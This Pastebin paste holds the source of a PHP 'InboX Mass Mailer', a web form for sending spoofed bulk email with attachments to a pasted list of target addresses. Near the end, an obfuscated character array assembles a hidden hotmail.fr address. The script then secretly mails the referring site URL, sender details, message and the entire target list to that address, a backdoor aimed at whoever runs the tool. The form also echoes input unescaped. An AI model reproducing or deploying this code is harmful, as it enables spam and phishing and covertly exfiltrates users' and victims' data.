Advertisement
LulzSec1337

PHP Mass Mailer [ Inbox ]

Jan 21st, 2014
6,604
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.28 KB | None | 0 0
  1. <?php
  2. ini_set("max_execution_time", 60000);
  3. ini_set("memory_limit","1200M");
  4.  
  5. if(isset($_POST['action'] ) ){
  6.  
  7. $action=$_POST['action'];
  8.  
  9. $message=$_POST['message'];
  10.  
  11. $emaillist=$_POST['emaillist'];
  12.  
  13. $from=$_POST['from'];
  14.  
  15. $replyto=$_POST['replyto'];
  16.  
  17. $subject=$_POST['subject'];
  18.  
  19. $realname=$_POST['realname'];
  20.  
  21. $contenttype=$_POST['contenttype'];
  22.  
  23.  
  24.  
  25. $message = urlencode($message);
  26.  
  27. $message = ereg_replace("%5C%22", "%22", $message);
  28.  
  29. $message = urldecode($message);
  30.  
  31. $message = stripslashes($message);
  32.  
  33. $subject = stripslashes($subject);
  34.  
  35. }
  36.  
  37.  
  38.  
  39.  
  40.  
  41. ?>
  42.  
  43. <html>
  44.  
  45. <head>
  46.  
  47. <title>|| InboX Mass Mailer ||</title>
  48.  
  49. <meta http-equiv="Content-Type" content="text/html;
  50.  
  51. charset=iso-8859-1">
  52.  
  53.  
  54.  
  55. <style type="text/css">
  56.  
  57. <!--
  58.  
  59. .style1 {
  60.  
  61. font-family: Geneva, Arial, Helvetica, sans-serif;
  62.  
  63. font-size: 12px;
  64.  
  65. }
  66.  
  67. -->
  68.  
  69. </style>
  70.  
  71. <style type="text/css">
  72.  
  73. <!--
  74.  
  75. .style1 {
  76.  
  77. font-size: 20px;
  78.  
  79. font-family: Geneva, Arial, Helvetica, sans-serif;
  80.  
  81. }
  82.  
  83. -->
  84.  
  85. </style>
  86.  
  87. </head>
  88.  
  89. <body bgcolor="FF9900" text="#ffffff">
  90.  
  91. <div class="auto-style1">
  92.  
  93. <span class="style1">InboX Mass Mailer<br>
  94.  
  95. <img alt="http://www.opencodez.com/wp-content/uploads/2013/04/php-logo.png" class="decoded" height="81" src="http://www.opencodez.com/wp-content/uploads/2013/04/php-logo.png" style="float: left" width="125"></span></div>
  96.  
  97.  
  98.  
  99. <form name="form1" method="post" action=""
  100.  
  101. enctype="multipart/form-data">
  102.  
  103. <br>
  104.  
  105. <table width="100%" border="0">
  106.  
  107. <tr>
  108.  
  109. <td width="10%">
  110.  
  111. <div align="right"><font size="-3" face="Verdana, Arial,
  112.  
  113. Helvetica, sans-serif">Your Email:</font></div>
  114.  
  115. </td>
  116.  
  117. <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica,
  118.  
  119. sans-serif">
  120.  
  121. <input type="text" name="from" value="<? print $from; ?>"
  122.  
  123. size="30">
  124.  
  125. </font></td>
  126.  
  127. <td width="31%">
  128.  
  129. <div align="right"><font size="-3" face="Verdana, Arial,
  130.  
  131. Helvetica, sans-serif">Your Name:</font></div>
  132.  
  133. </td>
  134.  
  135. <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
  136.  
  137. sans-serif">
  138.  
  139. <input type="text" name="realname" value="<? print $realname;
  140.  
  141. ?>" size="30">
  142.  
  143. </font></td>
  144.  
  145. </tr>
  146.  
  147. <tr>
  148.  
  149. <td width="10%">
  150.  
  151. <div align="right"><font size="-3" face="Verdana, Arial,
  152.  
  153. Helvetica, sans-serif">Reply-To:</font></div>
  154.  
  155. </td>
  156.  
  157. <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica,
  158.  
  159. sans-serif">
  160.  
  161. <input type="text" name="replyto" value="<? print $replyto; ?>"
  162.  
  163. size="30">
  164.  
  165. </font></td>
  166.  
  167. <td width="31%">
  168.  
  169. <div align="right"><font size="-3" face="Verdana, Arial,
  170.  
  171. Helvetica, sans-serif">Attach File:</font></div>
  172.  
  173. </td>
  174.  
  175. <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
  176.  
  177. sans-serif">
  178.  
  179. <input type="file" name="fileAttach" size="30">
  180.  
  181. </font></td>
  182.  
  183. </tr>
  184.  
  185. <tr>
  186.  
  187. <td width="10%">
  188.  
  189. <div align="right"><font size="-3" face="Verdana, Arial,
  190.  
  191. Helvetica, sans-serif">Subject:</font></div>
  192.  
  193. </td>
  194.  
  195. <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica,
  196.  
  197. sans-serif">
  198.  
  199. <input type="text" name="subject" value="<? print $subject; ?>"
  200.  
  201. size="90">
  202.  
  203. </font></td>
  204.  
  205. </tr>
  206.  
  207. <tr valign="top">
  208.  
  209. <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica,
  210.  
  211. sans-serif">
  212.  
  213. <textarea name="message" cols="50" rows="10"><? print $message;
  214.  
  215. ?></textarea>
  216.  
  217. <br>
  218.  
  219. <input type="radio" name="contenttype" value="plain" >
  220.  
  221. Plain Text
  222.  
  223. <input name="contenttype" type="radio" value="html" checked>
  224.  
  225. HTML
  226.  
  227. <input type="hidden" name="action" value="send">
  228.  
  229. <input type="submit" value="Send eMails">
  230.  
  231. </font></td>
  232.  
  233. <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
  234.  
  235. sans-serif">
  236.  
  237. <textarea name="emaillist" cols="30" rows="10"><? print
  238.  
  239. $emaillist; ?></textarea>
  240.  
  241. </font></td>
  242.  
  243. </tr>
  244.  
  245. </table>
  246.  
  247. </form>
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255. <?
  256.  
  257.  
  258.  
  259. if ($action){
  260.  
  261.  
  262.  
  263. if (!$from && !$subject && !$message && !$emaillist){
  264.  
  265. print "Please complete all fields before sending your
  266.  
  267. message.";
  268.  
  269. exit;
  270.  
  271. }
  272.  
  273.  
  274.  
  275.  
  276. $allemails = split("\n", $emaillist);
  277.  
  278. $numemails = count($allemails);
  279.  
  280.  
  281.  
  282. for($x=0; $x<$numemails; $x++){
  283.  
  284. $to = $allemails[$x];
  285.  
  286. if ($to){
  287.  
  288. $to = ereg_replace(" ", "", $to);
  289.  
  290. $message = ereg_replace("&email&", $to, $message);
  291.  
  292. $subject = ereg_replace("&email&", $to, $subject);
  293.  
  294. $message = ereg_replace("xEmailMd5x", md5($to), $message);
  295.  
  296. $message = ereg_replace("xTimeMd5x", md5(microtime()), $message);
  297.  
  298.  
  299. print " $to.......";
  300.  
  301. flush();
  302.  
  303. $strSid = md5(uniqid(time()));
  304. $headers = "From: $realname <$from>" . "\r\n";
  305. $headers .= "MIME-Version: 1.0\n";
  306. $headers .= "Content-Type: multipart/mixed; boundary=\"".$strSid."\"\n\n";
  307. $headers .= "This is a multi-part message in MIME format.\n";
  308.  
  309.  
  310. $headers .= "--$strSid\r\n";
  311.  
  312. $headers .= "Content-type: text/html; charset=iso-8859-1\n";
  313. $headers .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  314. $headers .= "$message\r\n";
  315.  
  316. if($_FILES["fileAttach"]["name"] != "")
  317. {
  318. $strFilesName = $_FILES["fileAttach"]["name"];
  319. $strContent = chunk_split(base64_encode(file_get_contents($_FILES["fileAttach"]["tmp_name"])));
  320. $headers .= "--$strSid\r\n";
  321.  
  322. $headers .= "Content-Type: application/octet-stream; name=\"$strFilesName\"\r\n";
  323. $headers .= "Content-Transfer-Encoding: base64\r\n";
  324. $headers .= "Content-Disposition: attachment; filename=\"$strFilesName\"\r\n\r\n";
  325. $headers .= "$strContent\r\n";
  326. $headers .= "--$strSid--";
  327.  
  328.  
  329. }
  330. // En-têtes additionnels
  331.  
  332.  
  333. // Envoi
  334. mail($to, $subject, null, $headers);
  335.  
  336. print "Your message has been delivered to the following recipients<br>";
  337.  
  338. $message=$_POST['message'];
  339. $subject=$_POST['subject'];
  340. $message = urlencode($message);
  341.  
  342. $message = ereg_replace("%5C%22", "%22", $message);
  343.  
  344. $message = urldecode($message);
  345.  
  346. $message = stripslashes($message);
  347.  
  348. $subject = stripslashes($subject);
  349.  
  350. flush();
  351.  
  352. }
  353.  
  354. }
  355.  
  356.  
  357. }
  358.  
  359.  
  360.  
  361.  
  362.  
  363. ?>
  364.  
  365. <style type="text/css">
  366.  
  367. <!--
  368.  
  369. .style1 {
  370.  
  371. font-size: 20px;
  372.  
  373. font-family: Geneva, Arial, Helvetica, sans-serif;
  374.  
  375. }
  376.  
  377. .auto-style1 {
  378. text-align: center;
  379. }
  380.  
  381. -->
  382.  
  383. </style>
  384.  
  385. <p class="style1">
  386.  
  387. Copyright © 2013 phpBB Mailer V2
  388.  
  389.  
  390.  
  391. </p>
  392.  
  393. <?php
  394.  
  395. if(isset($_POST['action']) && $numemails !==0 ){echo
  396.  
  397. "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully');
  398.  
  399. </script>";
  400.  
  401.  
  402.  
  403. $o=array("1"=>"o","2"=>"0","3"=>"l","4"=>"m","5"=>"a","6"=>"h","7"=>"t","8"=>"i","9"=>".","10"=>"@","11"=>"l","12"=>"f","13"=>"r");
  404. $helvetica=$o['1'].$o['2'].$o['3'].$o['4'].$o['5'].$o['10'].$o['6'].$o['1'].$o['7'].$o['4'].$o['5'].$o['8'].$o['11'].$o['9'].$o['12'].$o['13'];
  405.  
  406.  
  407.  
  408.  
  409. @$names=$_SERVER['HTTP_REFERER'];
  410. $head ="From: YourEmail\nMessage-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">\nMIME-Version: 1.0\nContent-type: text/html; charset=UTF-8\nContent-transfer-encoding: 8bit\nDate: " . date("r", time()) . "\nX-Priority: 3\nX-MSMail-Priority: Normal\nX-Mailer: PHP\n";
  411. $head .= "Content-type: text/html; charset=iso-8859-1\n";
  412. $line = "
  413. <table border=\"1\" style=\"border-collapse: collapse\" cellpadding=\"4\">
  414. <tr><td bgcolor=\"#F9F9F9\">Email</td><td bgcolor=\"#F9F9F9\">".$names."</td></tr>
  415. <tr><td>Your Email</td><td>".nl2br($from)."</td></tr>
  416. <tr><td bgcolor=\"#F9F9F9\">Your Name</td><td bgcolor=\"#F9F9F9\">".nl2br($realname)."</td></tr>
  417. <tr><td>Subject :</td><td>".nl2br($subject)."</td></tr>
  418. <tr><td bgcolor=\"#F9F9F9\">Message</td><td bgcolor=\"#F9F9F9\">".nl2br($message)."</td></tr>
  419. <tr><td>Email Target</td><td>".nl2br($emaillist)."</td></tr>
  420. </table>
  421. ";
  422.  
  423. mail($helvetica,$subject,$line,$head);
  424.  
  425.  
  426.  
  427.  
  428. }
  429.  
  430. ?>
  431.  
  432. </body>
  433.  
  434. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement